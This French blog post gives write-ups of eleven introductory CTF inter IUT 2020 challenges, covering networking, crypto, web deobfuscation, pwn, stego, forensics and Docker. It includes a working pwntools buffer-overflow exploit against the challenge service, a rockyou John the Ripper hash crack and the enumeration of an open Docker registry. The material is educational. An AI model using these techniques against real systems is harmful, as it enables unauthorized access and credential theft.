Catégories
Cryptographie CTF interIUT 2020 Pwn Réseau Reverse Stéganographie Web Write-ups

CTF inter IUT 2020 – challenges préliminaires

Logo CTF inter IUT

Suite au report du CTF inter IUT, les membres d’Hack2g2 (ENSIBS) ont proposé des challenges très faciles tous les mercredis à 17h, afin de faire patienter les différentes équipes participant au CTF.

Vous trouverez dans cet articles les write-ups de tous ces challenges d’introduction.

#01 – Reverse – Formulaire d’inscription

Ce challenge de reverse étant plus compliqué que les autres et très intéressant, il fait l’objet d’un article à part entière que vous retrouverez également sur ce blog (lien ici : CTF inter IUT – Formulaire d’inscription).

#02 – Réseau – Capture pcap

On nous fournit ici un fichier nommé “capture.pcap” que l’on peut alors ouvrir avec Wireshark.

Une fois le fichier ouvert, on peut appliquer le filtre “http” et examiner les différentes requêtes jusqu’à remarquer la présence d’un image au format JPEG dans la dernière requête HTTP.

On peut alors exporter cette image. Pour ceci, clic droit sur la partie “JPEG File Interchange Format” > “Export Packet Bytes…” puis on sauvegarde le fichier sous un nom sans importance de type, avec l’extension “.jpeg”, comme “result.jpeg”. On peut alors ouvrir l’image “result.jpeg” et on découvre le flag.

#03 – Misc – Magic Numbers

Dans ce challenge on nous donne un lien vers une image (https://challs.hack2g2.fr/03/logo_v1.png) visiblement endommagée car elle ne s’affiche pas correctement.

On peut alors récupérer l’image avec wget et examiner la valeur hexadécimale de son entête avec xxd.

$ wget https://challs.hack2g2.fr/03/logo_v1.png
--2020-06-03 20:21:06--  https://challs.hack2g2.fr/03/logo_v1.png
Résolution de challs.hack2g2.fr (challs.hack2g2.fr)… 90.105.93.62
Connexion à challs.hack2g2.fr (challs.hack2g2.fr)|90.105.93.62|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 3892793 (3,7M) [image/png]
Sauvegarde en : « logo_v1.png »

logo_v1.png                100%[========================================>]   3,71M  1,34MB/s    ds 2,8s    

2020-06-03 20:21:09 (1,34 MB/s) — « logo_v1.png » sauvegardé [3892793/3892793]

$ xxd logo_v1.png | more
00000000: dead beef cafe babe 0000 000d 4948 4452  ............IHDR
00000010: 0000 0dac 0000 08ca 0806 0000 00c0 e7a8  ................
00000020: ff00 0000 0662 4b47 4400 0000 0000 00f9  .....bKGD.......
00000030: 43bb 7f00 0000 0970 4859 7300 002e 2300  C......pHYs...#.
00000040: 002e 2301 78a5 3f76 0000 2000 4944 4154  ..#.x.?v.. .IDAT
00000050: 78da ecdd cd93 2449 7adf f7df e31e 9155  x.....$Iz......U
00000060: ddb3 b3d8 0528 984c 4691 3293 a813 a903  .....(.LF.2.....
00000070: efd4 5517 9d29 99e9 efc1 7fa2 8bf4 4fe8  ..U..)........O.
00000080: a88b cc74 a00c 26ea 85a6 1560 2428 1004  ...t..&....`$(..

On remarque ici que l’entête a été modifiée avec les valeurs 0xdeadbeef et 0xcafebabe qui sont des valeurs cocasses que l’on retrouve régulièrement dans les challenges de cybersécurité.

Il nous faut donc remplacer ces valeurs par les “magic bytes”, valeur hexadécimale de l’entête d’un fichier au format PNG que l’on peut trouver sur Wikipedia. Pour cela on peut utiliser un éditeur hexadécimal comme Bless et on remplace les valeurs par les valeurs suivantes : 89 50 4E 47 0D 0A 1A 0A.

On peut alors ouvrir l’image et on découvre le flag.

#04 – Cryptographie – AES-ECB

Pour ce challenge, on nous met à disposition une clé, “\xcaV7Zs\xbb\xe3\xec\xcd~\x8ad\xf5ZA\xb7”, ainsi qu’un ciphertext trouvable à cette adresse.

On peut alors récupérer ce cipher via wget et récupérer la valeur hexadécimale du message chiffré.

$ wget http://challs.hack2g2.fr/04/ciphertext
--2020-06-03 20:46:16--  http://challs.hack2g2.fr/04/ciphertext
Résolution de challs.hack2g2.fr (challs.hack2g2.fr)… 90.105.93.62
Connexion à challs.hack2g2.fr (challs.hack2g2.fr)|90.105.93.62|:80… connecté.
requête HTTP transmise, en attente de la réponse… 301 Moved Permanently
Emplacement : https://challs.hack2g2.fr/04/ciphertext [suivant]
--2020-06-03 20:46:16--  https://challs.hack2g2.fr/04/ciphertext
Connexion à challs.hack2g2.fr (challs.hack2g2.fr)|90.105.93.62|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 50 [application/octet-stream]
Sauvegarde en : « ciphertext »

ciphertext                 100%[========================================>]      50  --.-KB/s    ds 0s      

2020-06-03 20:46:17 (77,4 MB/s) — « ciphertext » sauvegardé [50/50]

$ xxd ciphertext 
00000000: 62c7 b557 7f88 6374 780c 354d a7d9 655e  b..W..ctx.5M..e^
00000010: e2c1 a9f2 752c 6bc3 95d2 5674 4baa 9c4c  ....u,k...VtK..L
00000020: 0a

On a donc la valeur “62c7b5577f886374780c354da7d9655ee2c1a9f2752c6bc395d256744baa9c4c0a” qui correspond à la valeur hexadécimale du message chiffré.

On peut ensuite convertir les caractères imprimables de la clé en hexadécimal et on obtient la valeur “ca56375a73bbe3eccd7e8a64f55a41b7”.

Enfin, on peut écrire un rapide script python pour déchiffrer le message en utilisant la clé.

from Crypto.Cipher import AES

msg = "62C7B5577F886374780C354DA7D9655EE2C1A9F2752C6BC395D256744BAA9C4C"
key = "CA56375A73BBE3ECCD7E8A64F55A41B7"

key = bytes.fromhex(key)
message = bytes.fromhex(msg)

for i in range(1000):
    cipher = AES.new(key, AES.MODE_ECB)
    message = cipher.decrypt(message)

print("[+] MESSAGE :",message.decode("utf-8"))

On exécute ensuite le script et on récupère le flag.

$ python3 AES.py 
[+] MESSAGE : ENSIBS{ju5t_u53_ROT13}PADDINGPAD

#05 – Web – Connexion

Dans ce challenge on arrive sur une page web de connexion. Un bon réflexe est d’aller voir le code source de la page. On tombe alors sur une importation de plusieurs scripts JavaScript.


<script src="obf.js"></script>

<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
<input id="superettoi" style="visibility: hidden" value="RV7WSVLWe1q4XzviYk[3X{3iQVXWXzO}bnP|eYC6MUDxfR?@">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>

Le script “obf.js” va ici nous intéresser (“obf” pour “obfuscation”). On l’ouvre donc, le met en forme avec un site comme https://beautifier.io/ et on obtient le résultat suivant.

function commentcava(proposal) {
    let b64Proposal = btoa(proposal);
    let result = "";
    for (var i = 0; i < b64Proposal.length; i++) {
        result += String.fromCharCode(b64Proposal.charCodeAt(i) + (i % 4));
    }
    return result;
}

function salutatous(msg) {
    let result = "";
    for (var i = 0; i < msg.length; i++) {
        result += String.fromCharCode(msg.charCodeAt(i) ^ (Math.floor(Math.random() * Math.floor(42))));
    }
    const res_len = -((result.length * 2 / 3) + (Number.isInteger(result.length * 2 / 3) ? 0 : 1));
    return result.slice(result.length / 3, res_len);
}

function checkCreds() {
    let n = document.querySelectorAll("#👍")[0];
    if ((salutatous(commentcava(leszouzous)) + commentcava(leszouzous.value) === superettoi.value) && ((1, 2, 3, 4, 5, 6) === (2, 4, 6))) {
        alert("GG WP Tu peux valider le chall");
    } else {
        alert("Au gogol");
    }
}

Dans le code de la page, on peut alors remarquer que la fonction “checkCreds()” est appelée lors de l’appui sur le bouton de connexion.

<form>
	<div class="form-group">
		<label for="mail">Adresse mail</label>
		<input id="👍" type="text" class="form-control" placeholder="hacker@interiut.fr">
	</div>
	<div class="form-group">
		<label for="password">Password</label>
		<input id="leszouzous" type="password" class="form-control" placeholder="MOT DE PASSE">
	</div>
	<button type="button" class="btn btn-primary" onclick="checkCreds()">Submit</button>
</form>

Nous allons donc chercher à reverse cette fonction. Dans cette fonction on remarque aisément l’insertion de ce que l’on pourrait appeler du “junk code”, c’est à dire du code qui ne sert à rien, ne modifie pas le comportement du programme et qui est là uniquement pour embêter la personne qui reverse (lui faire perdre du temps voir le décourager).

Dans la fonction “checkCreds()”, nous pouvons ainsi supprimer le test suivant qui ne sert à rien (renvoie toujours True).

((1, 2, 3, 4, 5, 6) === (2, 4, 6)

De plus, avec quelques tests dans la consoles (clic droit > inspecter l’élément > console) on se rend compte que “salutatous(commentcava(str))” renvoie une chaine vide et cela peut importe la chaine “str”.

Ainsi, il ne nous reste plus que le condition “commentcava(leszouzous.value) === superettoi.value” à valider, “leszouzous.value” représentant le mot de passe entrée par l’utilisateur.

On alors récupérer la valeur de “superettoi” dans le code HTML de la page, qui est encodé en base64, et écrire un script en python qui va annuler l’effet de la fonction “commentcava()” pour trouver le mot de passe.

from base64 import b64decode

passwd = "RV7WSVLWe1q4XzviYk[3X{3iQVXWXzO}bnP|eYC6MUDxfR?@"

flag = ""
for i in range(len(passwd)):
    flag += chr(ord(passwd[i]) - i%4)

print "[+] FLAG :",b64decode(flag)

On exécute alors le script et on obtient le flag.

$ python deobfu.py 
[+] FLAG : ENSIBS{J5_+_b64_=_AES_#3ncryp710n}

#06 – Pwn – R4b1 d35 b04

Dans ce premier challenge de pwn, on retrouve un petit service accessible à l’adresse challs.hack2g2.fr sur le port 1337. Le code nous est donné et on peut donc l’analyser.

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <time.h>

int main(int argc, char **argv){

	char is_admin[10] = "false\0";
	char name[40];

	printf("Comment vous nommez-vous ?\n");
	scanf("%s", name);

	if(!strcmp(is_admin, "true\0")){
		printf("Bien joué ! Voilà le flag : \n");
		FILE *file_pointer = fopen("flag", "r");  

		//Check if the file is opened
		if (file_pointer == NULL){
			perror("Error while opening the file.\n");
			exit(EXIT_FAILURE);
		}

		//Get file size
		fseek(file_pointer, 0, SEEK_END);  
		long file_size = ftell(file_pointer);  

		//Allocate some memory to store the file data
		unsigned char *file_content = malloc(file_size);  

		//Go to start and read all the file content
		fseek(file_pointer, 0, SEEK_SET);  
		fread(file_content, 1, file_size, file_pointer);  

		fclose(file_pointer);  

		//Print the file content
		int i = 0;
		while(i < file_size){
			printf("%c",file_content[i]);
			i++;
		}

	}else{
		printf("Vous n'êtes pas admin, accès refusé\n");
	}

	return 0;
}

La vulnérabilité se trouve ici à l’appel à la fonction “scanf()” qui est effectué sans contrôle du nombre de caractères entrés par l’utilisateur. le résultat est ainsi stocké dans un buffer de 40 octets nommé “name”. On remarque également un buffer de 10 octets contenant la valeur “false\0” qu’il va falloir passer à “true\0” pour valider la condition et afficher le flag.

On peut alors écrire un petit script en python en utilisant pwntools.

from pwn import *

r = remote("challs.hack2g2.fr", 1337)

# name[40] + is_admin[10] + EBP (32 bits)
buf = 'A'*54
buf += "true"

r.sendline(buf)
r.interactive()

On exécute le script et on trouve le flag.

$ python 1337.py 
[+] Opening connection to challs.hack2g2.fr on port 1337: Done
[*] Switching to interactive mode
Comment vous nommez-vous ?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtrue
Bien joué ! Voilà le flag : 
ENSIBS{buff3r_0v3rfl0w_R_2_3z}
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to challs.hack2g2.fr port 1337

#07 – Stéganographie – Shrek Razowski

Pour ce challenge on nous donne le lien vers une image d’un savant mix entre Shrek et Bob Razowski (de “Monstres et Cie”). On peut alors récupérer cette image avec wget et l’examiner avec un outil tel que exiftool.

$ wget https://challs.hack2g2.fr/07/malediction.png
--2020-06-04 00:29:20--  https://challs.hack2g2.fr/07/malediction.png
Résolution de challs.hack2g2.fr (challs.hack2g2.fr)… 90.105.93.62
Connexion à challs.hack2g2.fr (challs.hack2g2.fr)|90.105.93.62|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 683842 (668K) [image/png]
Sauvegarde en : « malediction.png »

malediction.png            100%[========================================>] 667,81K   869KB/s    ds 0,8s    

2020-06-04 00:29:21 (869 KB/s) — « malediction.png » sauvegardé [683842/683842]

$ exiftool malediction.png 
ExifTool Version Number         : 11.97
File Name                       : malediction.png
Directory                       : .
File Size                       : 668 kB
File Modification Date/Time     : 2020:05:27 16:55:14+02:00
File Access Date/Time           : 2020:06:04 00:29:21+02:00
File Inode Change Date/Time     : 2020:06:04 00:29:21+02:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 956
Image Height                    : 1000
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Exif Byte Order                 : Little-endian (Intel, II)
Bits Per Sample                 : 8 8 8
Image Description               : Created with GIMP
X Resolution                    : 300
Y Resolution                    : 300
[...]
Creator                         : type="Seq" Challenge n°7
Description                     : RU5TSUJTe2V4MWZfZDR0NCxfYjNzN19zdDNnNH0K
Title                           : Le flag ne doit pas etre très loin d'ici
Background Color                : 239 239 239
Pixels Per Unit X               : 11811
Pixels Per Unit Y               : 11811
Pixel Units                     : meters
Modify Date                     : 2020:05:27 14:53:59
Comment                         : Created with GIMP
Image Size                      : 956x1000
Megapixels                      : 0.956
Thumbnail Image                 : (Binary data 9823 bytes, use -b option to extract)
GPS Position                    : 0 deg 0' 0.00", 0 deg 0' 0.00"

On remarque alors que la description de l’image est intéressant, d’autant plus qu’elle est suivie par le titre “Le flag ne doit pas être très loin d’ici”. Cela ressemble à de la base64 : une fois la chaine convertie, on récupère le flag.

$ echo "RU5TSUJTe2V4MWZfZDR0NCxfYjNzN19zdDNnNH0K" | base64 -d
ENSIBS{ex1f_d4t4,_b3s7_st3g4}

#08 – Réseau – Adam le coquin

Dans ce challenge on se retrouve encore une fois avec un fichier “capture.pcap” que l’on va pouvoir ouvrir avec Wireshark.

Encore une fois, on peut utiliser le filtre “http” (même s’il n’y a que 7 requêtes dans toute la capture…). On relève alors une requête de connexion à un site pour adultes (sacré Adam !) avec une username et mot de passe en clair, on trouve ainsi le flag.

#09 – Forensics – USB

Dans ce challenge d’introduction au forensics, on nous donne un fichier nommé “usb.dump” duquel nous allons devoir extraire le flag.

Un première manière de résoudre ce challenge est toute bête, on va lister les chaines de caractères du fichier et rechercher le mot clé “ENSIBS”.

$ strings usb.dump | grep ENSIBS
ENSIBS{p4s_tr3s_s3cr37_t4_cl3_USB}

Cependant, faisons les choses bien ! On commence par prendre plus d’informations sur ce fichier avec la commande file.

$ file usb.dump 
usb.dump: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", sectors/cluster 8, Media descriptor 0xf8, sectors/track 62, heads 124, hidden sectors 64, sectors 7864256 (volumes > 32 MB), FAT (32 bit), sectors/FAT 7672, reserved 0x1, serial number 0x32e61103, label: "secretfiles"

On comprend alors que l’on va pouvoir monter la clé USB et explorer son contenu.

$ mkdir USB
$ mount usb.dump USB/
$ cd USB/
$ ls -al
drwxr-xr-x 3 root root  4096 janv.  1  1970 .
drwxr-xr-x 9 root root  4096 juin  10 17:44 ..
-rwxr-xr-x 1 root root    35 avril 15 22:57 flag
drwxr-xr-x 2 root root 12288 avril 16 00:36 homeworks
-rwxr-xr-x 1 root root 57619 avril 15 23:06 pasleflag.odt
$ cat flag
ENSIBS{p4s_tr3s_s3cr37_t4_cl3_USB}

#10 – Cryptographie – Password crack

Pour ce 10ème challenge, on nous donne seulement un hash (“$1$jqplxfvL$fXNNz7ZWaBdS.njNn3Ke2.”) représentant un mot de passe. Pour cracker ce hash, on peut alors utiliser John The Ripper.

On commence par placer le hash dans un nouveau fichier et on commence le brute-force avec la fameuse wordlist “rockyou.txt”.

$ nano hash
$ john --wordlist=/root/Bureau/rockyou.txt --pot=DECODED hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hellokitty       (?)
1g 0:00:00:00 DONE (2020-06-24 21:29) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

#11 – MISC – Docker Registry

Dans ce challenge, on nous donne une adresse (challs.hack2g2.fr) à laquelle se trouve apparemment un registry Docker sur le port 5000. Il va alors falloir trouver un conteneur.

On peut alors trouver une liste des images à l’adresse challs.hack2g2.fr:5000/v2/_catalog. On trouve alors un conteneur appelé nyanflag.

{"repositories":["nyanflag"]}

On peut ensuite lancer un terminal et run le service qui tourne sur l’entry point du conteneur.

$ docker run -it challs.hack2g2.fr:5000/nyanflag                                                                                                                                                      

On a alors le droit à un magnifique nyancat. Mais qu’est-ce qu’il se passe ici ? Eh bien le point d’entrée à bêtement été modifié et remplacé par le programme chargé d’afficher le nyancat.
On peut donc résoudre le challenge en modifiant le point d’entrée.

$ docker run -it --entrypoint=/bin/bash challs.hack2g2.fr:5000/nyanflag
bash-5.0# ls
FLAG           entrypoint.sh  lib            opt            run            sys            var
bin            etc            media          proc           sbin           tmp
dev            home           mnt            root           srv            usr
bash-5.0# cat FLAG
ENSIBS{53cur3_y0ur_fuck1n6_r36157ry_plz_--.--}

Par curiosité, on peut aussi regarder à quoi ressemble le script qui modifie l’entry point.

bash-5.0# cat entrypoint.sh 
#!/bin/bash

set -e

if [ -t 0 ] ; then
    /usr/bin/nyancat
else
    echo "N'oubliez pas l'argument -it ;)"
fi

De plus, on pouvait résoudre le challenge d’une autre manière. En effet, le man de “docker run” nous donne entre autres cette option.

-d, --detach=true|false
          Detached mode: run the container in the background and print the new container ID. The default is false.

       At any time you can run docker ps in the other shell to view a list of the running containers. You can reattach to a
       detached container with docker attach.

Ainsi, nous pouvons exécuter des commandes comme ceci.

$ docker run -it -d challs.hack2g2.fr:5000/nyanflag
fe06acc03c7a45d1e6092a7894385f466bd8f7d04c49d5e1c6e8a19da3ea14cb
$ docker ps
CONTAINER ID        IMAGE                             COMMAND                  CREATED             STATUS              PORTS               NAMES
fe06acc03c7a        challs.hack2g2.fr:5000/nyanflag   "bash -c /entrypoint…"   4 seconds ago       Up 3 seconds                            modest_taussig
$ docker exec -it fe06acc03c7a cat FLAG
ENSIBS{53cur3_y0ur_fuck1n6_r36157ry_plz_--.--}